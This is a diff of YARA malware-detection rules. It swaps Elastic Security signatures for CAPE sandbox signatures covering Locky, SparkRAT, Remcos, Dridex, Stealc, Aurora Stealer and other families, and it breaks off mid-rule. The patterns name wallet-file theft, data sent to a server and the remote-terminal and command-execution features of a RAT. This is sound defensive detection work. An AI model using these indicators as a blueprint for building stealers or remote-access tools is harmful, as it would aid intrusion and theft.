+		logic_hash = "9786c54a2644d9581fefe64be11b26e22806398e54e961fa4f19d26eae039cd7"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "0e19e57e936d08f68c5580d21c2d69d451cfc11d413c6125dbdaab863b73d5c7"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Locky Payload"
 
 	strings:
-		$a1 = { 13 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 26 83 FD 0A 0F 9C 44 24 27 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
-		$a2 = { 15 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 2E 83 FD 0A 0F 9C 44 24 2F 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
-		$a3 = { 00 8D 68 FF 0F AF E8 40 F6 C5 01 0F 94 44 24 2E 83 FA 0A 0F 9C 44 24 2F 4C 89 CE 4C 89 C7 48 89 CB B8 }
-		$a4 = { 00 48 89 C6 0F 29 30 0F 29 70 10 0F 29 70 20 0F 29 70 30 0F 29 70 40 0F 29 70 50 48 C7 40 60 00 00 00 00 48 89 C1 E8 }
-		$a5 = { 41 0F 45 C0 45 84 C9 41 0F 45 C0 EB BA 48 89 4C 24 08 89 D0 EB B1 48 8B 44 24 08 48 83 C4 10 C3 56 57 53 48 83 EC 30 8B 05 }
-		$a6 = { 00 8D 70 FF 0F AF F0 40 F6 C6 01 0F 94 44 24 25 83 FF 0A 0F 9C 44 24 26 89 D3 48 89 CF 48 }
-		$a7 = { 48 89 CE 48 89 11 4C 89 41 08 41 0F 10 01 41 0F 10 49 10 41 0F 10 51 20 0F 11 41 10 0F 11 49 20 0F 11 51 30 }
-		$a8 = { 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 22 83 FD 0A 0F 9C 44 24 23 48 89 D6 48 89 CF 4C 8D }
+		$string1 = "wallet.dat" wide
+		$string2 = "Locky_recover" wide
+		$string3 = "opt321" wide
 
 	condition:
-		5 of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Windows_Trojan_Spectralviper_368C36A0 : FILE MEMORY
+rule CAPE_Sparkrat
 {
 	meta:
-		description = "Detects Windows Trojan Spectralviper (Windows.Trojan.SpectralViper)"
-		author = "Elastic Security"
-		id = "368c36a0-d8ec-4cd6-92b3-193907898dc1"
-		date = "2023-05-10"
-		modified = "2023-05-10"
-		reference = "https://www.elastic.co/security-labs/elastic-charms-spectralviper"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SpectralViper.yar#L29-L53"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8"
-		logic_hash = "6182bde93e18dc6a83a94b50b193f5f29ed9abfa89b53c290818e7dab5bbb334"
+		description = "SparkRAT Payload"
+		author = "t-mtsmt"
+		id = "6b30b2d5-5b32-5347-832d-814b43eab945"
+		date = "2024-08-04"
+		modified = "2024-08-04"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/SparkRAT.yar#L1-L49"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "96d9cc4411c01fec33aa8be19c06395ff07726a5e2b9c968674e0cadecf10caf"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "cfe4df5390a625d59f1c30775fe26119707a296feb1a205f3df734a4c0fcc25c"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
-
-	strings:
-		$a1 = { 18 48 89 4F D8 0F 10 40 20 0F 11 47 E0 0F 10 40 30 0F 11 47 F0 48 8D }
-		$a2 = { 24 27 48 83 C4 28 5B 5D 5F 5E C3 56 57 53 48 83 EC 20 48 89 CE 48 }
-		$a3 = { C7 84 C9 0F 45 C7 EB 86 48 8B 44 24 28 48 83 C4 30 5B 5F 5E C3 48 83 }
-		$s1 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 51 10 48 8B 49 08 FF D0 48 89 43 18 B8 04 00 00 }
-		$s2 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 49 08 FF D0 48 89 43 10 B8 04 00 00 00 48 83 C4 20 5B }
-		$s3 = { 48 83 EC 28 4C 8B 41 18 4C 8B C9 48 B8 AB AA AA AA AA AA AA AA 48 F7 61 10 48 8B 49 08 48 C1 EA }
-
-	condition:
-		2 of ($a*) or any of ($s*)
+		quality = 68
+		tags = ""
+		cape_type = "SparkRAT Payload"
+
+	strings:
+		$path_00 = "/client/common"
+		$path_01 = "/client/config"
+		$path_02 = "/client/core"
+		$path_03 = "/client/service/basic"
+		$path_04 = "/client/service/desktop"
+		$path_05 = "/client/service/file"
+		$path_06 = "/client/service/process"
+		$path_07 = "/client/service/terminal"
+		$path_08 = "/modules"
+		$path_09 = "/utils"
+		$cmd_00 = "PING"
+		$cmd_01 = "OFFLINE"
+		$cmd_02 = "LOCK"
+		$cmd_03 = "LOGOFF"
+		$cmd_04 = "HIBERNATE"
+		$cmd_05 = "SUSPEND"
+		$cmd_06 = "RESTART"
+		$cmd_07 = "SHUTDOWN"
+		$cmd_08 = "SCREENSHOT"
+		$cmd_09 = "TERMINAL_INIT"
+		$cmd_10 = "TERMINAL_INPUT"
+		$cmd_11 = "TERMINAL_RESIZE"
+		$cmd_12 = "TERMINAL_PING"
+		$cmd_13 = "TERMINAL_KILL"
+		$cmd_14 = "FILES_LIST"
+		$cmd_15 = "FILES_FETCH"
+		$cmd_16 = "FILES_REMOVE"
+		$cmd_17 = "FILES_UPLOAD"
+		$cmd_18 = "FILE_UPLOAD_TEXT"
+		$cmd_19 = "PROCESSES_LIST"
+		$cmd_20 = "PROCESS_KILL"
+		$cmd_21 = "DESKTOP_INIT"
+		$cmd_22 = "DESKTOP_PING"
+		$cmd_23 = "DESKTOP_KILL"
+		$cmd_24 = "DESKTOP_SHOT"
+		$cmd_25 = "COMMAND_EXEC"
+
+	condition:
+		3 of ($path_*) and 3 of ($cmd_*)
 }
-rule ELASTIC_Windows_Trojan_Squirrelwaffle_88033Ff1 : FILE MEMORY
+rule CAPE_Scarab : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Squirrelwaffle (Windows.Trojan.Squirrelwaffle)"
-		author = "Elastic Security"
-		id = "88033ff1-f9b1-4cdc-bb68-bd3a10027584"
-		date = "2021-09-20"
-		modified = "2022-01-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Squirrelwaffle.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "00d045c89934c776a70318a36655dcdd77e1fedae0d33c98e301723f323f234c"
-		logic_hash = "695d7d411a4de23ba1517a06bda3ce73add37dca1e6fe9046e7c2dcae237389e"
+		description = "Scarab Payload"
+		author = "kevoreilly"
+		id = "2ba8ae50-1e56-5773-aaea-058161b59c78"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Scarab.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "0d8fa7ab4c8e5699f17f9e9444e85a42563a840a8e7ee9eda54add3a6845d1c6"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "94c0d8ce3e06cf02a6fb57c074ff0ef60346babcde43c61371d099b011d9fcf9"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Scarab Payload"
 
 	strings:
-		$a1 = "start /i /min /b start /i /min /b start /i /min /b " ascii fullword
-		$a2 = " HTTP/1.1" ascii fullword
-		$a3 = "Host:" ascii fullword
-		$a4 = "APPDATA" ascii fullword
+		$crypt1 = {8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08 33 D8 8B C3 42 8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08 33 D8 8B C3 42 8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08}
+		$crypt2 = {8B 4C 82 0C 8B D9 C1 E3 18 C1 E9 08 0B D9 8B CB 0F B6 D9 8B 1C 9D AC 0C 43 00 89 5C 24 04 8B D9 C1 EB 08 0F B6 DB 8B 34 9D AC 0C 43 00 8B D9 C1 EB 10}
+		$crypt3 = {8B 13 8B CA 81 E1 80 80 80 80 8B C1 C1 E8 07 50 8B C1 59 2B C1 25 1B 1B 1B 1B 8B CA 81 E1 7F 7F 7F 7F 03 C9 33 C1 8B C8 81 E1 80 80 80 80 8B F1 C1 EE 07}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Windows_Trojan_Squirrelwaffle_D3B685A1 : FILE MEMORY
+rule CAPE_Bazar : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Squirrelwaffle (Windows.Trojan.Squirrelwaffle)"
-		author = "Elastic Security"
-		id = "d3b685a1-2d1c-44a3-8d83-ff661d491a52"
-		date = "2021-09-21"
-		modified = "2022-01-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Squirrelwaffle.yar#L24-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "00d045c89934c776a70318a36655dcdd77e1fedae0d33c98e301723f323f234c"
-		logic_hash = "7d187aa75fc767f5009f3090852de4894776f4b3f99f189478e7e9fd9c3acbe7"
+		description = "No description has been set in the source file - CAPE"
+		author = "kevoreilly"
+		id = "e042f180-2a82-5c93-9858-77281557dd10"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Bazar.yar#L1-L11"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "9375f59b56e47fd0b90b089afdf3be8f16f960038fc625523a2e2d5509ab099d"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "15df7efab9cc40ff57070d18ae67b549c55595d7cbf3ca02963336e4297156c4"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Bazar Payload"
 
 	strings:
-		$a1 = { 08 85 C0 75 0F 8D 45 94 50 8D 45 D0 6A 20 50 FF D7 83 C4 0C }
+		$decode = {F7 E9 [0-2] C1 FA 0? 8B C2 C1 E8 1F 03 D0 6B C2 ?? 2B C8}
+		$rsa = {C7 00 52 53 41 33 48 8D 48 09 C7 40 04 00 08 00 00 4C 8D 05 [3] 00 C6 40 08 03 B8 09 00 00 00 [0-3] 48 8D 89 80 00 00 00 41 0F 10 00}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and 2 of them
 }
-rule ELASTIC_Linux_Ransomware_Esxiargs_75A8Ec04 : FILE MEMORY
+rule CAPE_Buerloader : FILE
 {
 	meta:
-		description = "Detects Linux Ransomware Esxiargs (Linux.Ransomware.Esxiargs)"
-		author = "Elastic Security"
-		id = "75a8ec04-c41d-4702-94fa-976870762aaf"
-		date = "2023-02-09"
-		modified = "2024-02-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Esxiargs.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66"
-		logic_hash = "7316cab75c1bcf41ae6c96afa41ef96c37ab1bb679f36a0cc1dd08002a357165"
+		description = "No description has been set in the source file - CAPE"
+		author = "kevoreilly & Rony (@r0ny_123)"
+		id = "95a9b4d7-db1e-50cd-bc08-01e4e4fd6dc4"
+		date = "2022-05-31"
+		modified = "2022-05-31"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/BuerLoader.yar#L1-L12"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "05c1f008f0a2bb8232867977fb23a5ae8312f10f0637c6265561052596319c29"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "279259c7ca41331b09842c2221139d249d6dfe2e2cb6b27eb50af7be75120ce4"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "BuerLoader Payload"
 
 	strings:
-		$s1 = "number of MB in encryption block"
-		$s2 = "number of MB to skip while encryption"
-		$s3 = "get_pk_data: key file is empty"
-		$s4 = { 6F 70 65 6E 00 6C 73 65 65 6B 20 5B 65 6E 64 5D 00 6F 70 65 6E 5F 70 6B 5F 66 69 6C 65 }
-		$s5 = "[<enc_step>] [<enc_size>] [<file_size>]"
+		$trap = {0F 31 89 45 ?? 6A 00 8D 45 ?? 8B CB 50 E8 [4] 0F 31}
+		$decode = {8A 0E 84 C9 74 0E 8B D0 2A 0F 46 88 0A 42 8A 0E 84 C9 75 F4 5F 5E 5D C2 04 00}
+		$op = {33 C0 85 D2 7E 1? 3B C7 7D [0-15] 40 3B C2 7C ?? EB 02}
 
 	condition:
-		3 of them
+		uint16(0)==0x5A4D and 2 of them
 }
-rule ELASTIC_Windows_Trojan_Blackshades_9D095C44 : FILE MEMORY
+rule CAPE_Nanolocker : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Blackshades (Windows.Trojan.BlackShades)"
-		author = "Elastic Security"
-		id = "9d095c44-5047-453e-8435-f30de94565e6"
-		date = "2022-02-28"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BlackShades.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e58e352edaa8ae7f95ab840c53fcaf7f14eb640df9223475304788533713c722"
-		logic_hash = "2a2e6325d3de9289cc8bc26e1fe89a8fa81d9aae50b92ba2cf21c4cc6556ac9e"
+		description = "NanoLocker Payload"
+		author = "kevoreilly"
+		id = "6fff6a27-a153-5461-9a75-2253c2f7d408"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/NanoLocker.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "fe6c8a4e259c3c526f8f50771251f6762b2b92a4df2e8bfc705f282489f757db"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "be7d4c8200c293c3c8046d9f87b0d127ff051679ae1caeab12c533ea4309a1fc"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "NanoLocker Payload"
 
 	strings:
-		$a1 = "*\\AD:\\Blackshades Project\\bs_net\\server\\server.vbp" wide fullword
-		$a2 = "@*\\AD:\\Blackshades Project\\bs_net\\server\\server.vbp" wide fullword
-		$a3 = "D:\\Blackshades Project\\bs_net\\loginserver\\msvbvm60.dll\\3" ascii fullword
-		$b1 = "modSniff" ascii fullword
-		$b2 = "UDPFlood" ascii fullword
-		$b3 = "\\nir_cmd.bss speak text " wide fullword
-		$b4 = "\\pws_chro.bss" wide fullword
-		$b5 = "tmrLiveLogger" ascii fullword
+		$a1 = "NanoLocker"
+		$a2 = "$humanDeadline"
+		$a3 = "Decryptor.lnk"
 
 	condition:
-		1 of ($a*) or all of ($b*)
+		uint16(0)==0x5A4D and ( all of ($a*))
 }
-rule ELASTIC_Windows_Trojan_Blackshades_Be382Dac : FILE MEMORY
+rule CAPE_Remcos : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Blackshades (Windows.Trojan.BlackShades)"
-		author = "Elastic Security"
-		id = "be382dac-6a6f-43e4-86bb-c62f0db9b43a"
-		date = "2022-02-28"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BlackShades.yar#L28-L46"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e58e352edaa8ae7f95ab840c53fcaf7f14eb640df9223475304788533713c722"
-		logic_hash = "a13e37e7930d2d1ed1aa4fdeb282f11bfeb7fe008625589e2bfeab0beea43580"
+		description = "Remcos Payload"
+		author = "kevoreilly"
+		id = "f77295ca-02d5-5b2c-80b8-b6566610bff8"
+		date = "2022-05-10"
+		modified = "2022-05-10"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Remcos.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "38142e784ad437d9592353b924f74777bb62e5ed176c811230a2021a437d4710"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e7031c42e51758358db32d8eba95f43be7dd5c4b57e6f9a76f0c3b925eae4e43"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 68
+		tags = "FILE"
+		cape_type = "Remcos Payload"
 
 	strings:
-		$a1 = { 09 0E 4C 09 10 54 09 0E 4C 09 10 54 09 0E 4C 09 10 54 09 10 54 }
+		$name = "Remcos" nocase
+		$time = "%02i:%02i:%02i:%03i"
+		$crypto1 = {81 E1 FF 00 00 80 79 ?? 4? 81 C9 00 FF FF FF 4? 8A ?4 8?}
+		$crypto2 = {0F B6 [1-7] 8B 45 08 [0-2] 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 ?? ?? FF FF 30 06 47 3B 7D 0C 72}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ($name) and ($time) and any of ($crypto*)
 }
-rule ELASTIC_Linux_Trojan_Pornoasset_927F314F : FILE MEMORY
+rule CAPE_Dridexv4 : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Pornoasset (Linux.Trojan.Pornoasset)"
-		author = "Elastic Security"
-		id = "927f314f-2cbb-4f87-b75c-9aa5ef758599"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Pornoasset.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93"
-		logic_hash = "7267375346c1628e04c8272c24bde04a5d6ae2b420f64dfe58657cfc3eecc0e7"
+		description = "Dridex v4 Payload"
+		author = "kevoreilly"
+		id = "c396f664-9f0d-50ac-bce8-33fd8712645a"
+		date = "2022-05-31"
+		modified = "2022-05-31"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/DridexV4.yar#L1-L15"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "cb103fe5f2d4792e3c612db4e2d84a4c8b0ce0f9a8443e9147e2c345f1dbdff6"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "DridexV4 Payload"
 
 	strings:
-		$a = { C3 D3 CB D3 C3 48 31 C3 48 0F AF F0 48 0F AF F0 48 0F AF F0 48 }
+		$decrypt32 = {6A 40 58 3B C8 0F 4D C1 39 46 04 7D 50 53 57 8B F8 81 E7 3F 00 00 80 79 05 4F 83 CF C0 47 F7 DF 99 1B FF 83 E2 3F 03 C2 F7 DF C1 F8 06 03 F8 C1 E7 06 57}
+		$getproc32 = {81 FB ?? ?? ?? ?? 74 2D 8B CB E8 ?? ?? ?? ?? 85 C0 74 0C 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3}
+		$getproc64 = {81 FB ?? ?? ?? ?? 75 04 33 C0 EB 2D 8B CB E8 ?? ?? ?? ?? 48 85 C0 75 17 8B CB E8 ?? ?? ?? ?? 84 C0 74 E5 8B CB E8 ?? ?? ?? ?? 48 85 C0 74 D9 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 8B 5C 24 30 48 83 C4 20 5F C3}
+		$bot_stub_32 = {8B 45 E? 8? [5-13] 8A 1C 0? [6-15] 05 FF 00 00 00 8B ?? F? 39 ?? 89 45 E? 72 D?}
+		$bot_stub_64 = {8B 44 24 ?? 89 C1 89 CA 4C 8B 05 [4] 4C 8B 4C 24 ?? 45 8A 14 11 83 E0 1F 89 C0 41 89 C3 47 2A 14 18 44 88 54 14}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and any of them
 }
-rule ELASTIC_Linux_Cryptominer_Ursu_3C05F8Ab : FILE MEMORY
+rule CAPE_Stealc : FILE
 {
 	meta:
-		description = "Detects Linux Cryptominer Ursu (Linux.Cryptominer.Ursu)"
-		author = "Elastic Security"
-		id = "3c05f8ab-d1b8-424b-99b7-1fe292ae68ff"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Ursu.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d72361010184f5a48386860918052dbb8726d40e860ea0287994936702577956"
-		logic_hash = "8261e4ee40131cd7df61914cd7bdf154e8a2b5fa3abd9d301436f9371253f510"
+		description = "Stealc Payload"
+		author = "kevoreilly"
+		id = "44a00d4b-0053-5b3d-baa4-b666f7182ba0"
+		date = "2024-02-16"
+		modified = "2024-02-16"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Stealc.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "77d6f1914af6caf909fa2a246fcec05f500f79dd56e5d0d466d55924695c702d"
+		logic_hash = "90a3a72f53d0c020f1568d7bbf183ee4f76ec3f4706d2331bcbc4e631bf6399d"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "463d4f675589e00284103ef53d0749539152bbc3772423f89a788042805b3a21"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Stealc Payload"
 
 	strings:
-		$a = { 64 55 4C 2C 20 0A 09 30 78 33 30 32 38 36 30 37 38 32 38 37 38 }
+		$nugget1 = {68 04 01 00 00 6A 00 FF 15 [4] 50 FF 15 [4] 8B F?}
+		$nugget2 = {64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18 89 45 FC}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Windows_Vulndriver_Llaccess_C57534E8 : FILE
+rule CAPE_Aurorastealer : FILE
 {
 	meta:
-		description = "Name: Corsair LL Access, Version: 1.0.18.0"
-		author = "Elastic Security"
-		id = "c57534e8-eb38-4714-9262-c489cc6204f1"
-		date = "2022-04-04"
-		modified = "2022-04-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_LLAccess.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "000547560fea0dd4b477eb28bf781ea67bf83c748945ce8923f90fdd14eb7a4b"
-		logic_hash = "8bf629fd2ce0b1f15c7aacd573659b649dcf968556232683b29d68b27d12e577"
+		description = "detects Aurora Stealer samples"
+		author = "Johannes Bader @viql"
+		id = "07779318-3e5d-5e67-8c04-f3f70d7e48b7"
+		date = "2022-12-14"
+		modified = "2023-03-31"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/AuroraStealer.yar#L1-L74"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "0d10e9268184f494a73d5b4ab0d9a478ad0c26d2ef13d5134f8c9769f028b8f5"
 		score = 75
-		quality = 75
+		quality = 45
 		tags = "FILE"
-		fingerprint = "2eea8941c92353442f7a8986fa3abee06f83824e48bd6a3a5012f7cf76cd543e"
-		threat_name = "Windows.VulnDriver.LLAccess"
-		severity = 50
-		arch_context = "x86"
-		scan_context = "file"
-		license = "Elastic License v2"
-		os = "windows"
+		version = "v1.0"
+		tlp = "TLP:WHITE"
+		malpedia_family = "win.aurora_stealer"
+		hash1_md5 = "51c153501e991f6ce4901e6d9578d0c8"
+		hash1_sha1 = "3816f17052b28603855bde3e57db77a8455bdea4"
+		hash1_sha256 = "c148c449e1f6c4c53a7278090453d935d1ab71c3e8b69511f98993b6057f612d"
+		hash2_md5 = "65692e1d5b98225dbfb1b6b2b8935689"
+		hash2_sha1 = "0b51765c175954c9e47c39309e020bcb0f90b783"
+		hash2_sha256 = "5a42aa4fc8180c7489ce54d7a43f19d49136bd15ed7decf81f6e9e638bdaee2b"
+		cape_type = "AuroraStealer Payload"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 43 00 6F 00 72 00 73 00 61 00 69 00 72 00 20 00 4C 00 4C 00 20 00 41 00 63 00 63 00 65 00 73 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x12][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x11][\x00-\x00]))/
+		$str_func_01 = "main.(*DATA_BLOB).ToByteArray"
+		$str_func_02 = "main.Base64Encode"
+		$str_func_03 = "main.Capture"
+		$str_func_04 = "main.CaptureRect"
+		$str_func_05 = "main.ConnectToServer"
+		$str_func_06 = "main.CreateImage"
+		$str_func_07 = "main.FileExsist"
+		$str_func_08 = "main.GetDisplayBounds"
+		$str_func_09 = "main.GetInfoUser"
+		$str_func_10 = "main.GetOS"
+		$str_func_11 = "main.Grab"
+		$str_func_12 = "main.MachineID"
+		$str_func_13 = "main.NewBlob"
+		$str_func_14 = "main.NumActiveDisplays"
+		$str_func_15 = "main.PathTrans"
+		$str_func_16 = "main.SendToServer_NEW"
